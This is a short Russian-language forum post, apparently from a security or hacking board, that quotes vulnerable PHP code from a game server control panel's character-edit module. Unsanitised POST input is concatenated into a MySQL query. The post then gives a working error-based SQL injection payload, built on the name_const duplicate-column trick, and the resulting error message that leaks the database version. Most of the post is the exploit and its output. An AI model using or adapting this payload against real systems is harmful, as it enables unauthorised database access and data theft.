28.12.2009, 15:57
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами:
9780227
Репутация:
1423
|
|
http://acp.svn.beanstalkapp.com/projects/ACP2/modules/charedit.php
PHP код:
if ($_POST['character'] >= 0) {
$c_connect = mysql_connect($c_ip, $c_userdb, $c_pw);
mysql_select_db($c_db, $c_connect);
mysql_query("SET NAMES '$encoding'");
$res = mysql_query("SELECT `name`, `class`, `guid`, `race`, `online`, `gender`, `level`, `money`, `xp` FROM `characters` WHERE (`guid` = ".$_POST['character'].") and (`account` = ".$_SESSION['user_id'].") and (`online` = 0) LIMIT 1") or trigger_error(mysql_error());
Вот здесь $_POST['character']
character=12589)+and+1=(select+*+from(select+*+fro m(select+name_const((version()),14)d)+as+t+join+(s elect+name_const((version()),14)e)b)a)--+
Notice: Duplicate column name '5.0.51a-24-log' in /var/www/html/ACP2/modules/charedit.php on line 6
|
|
|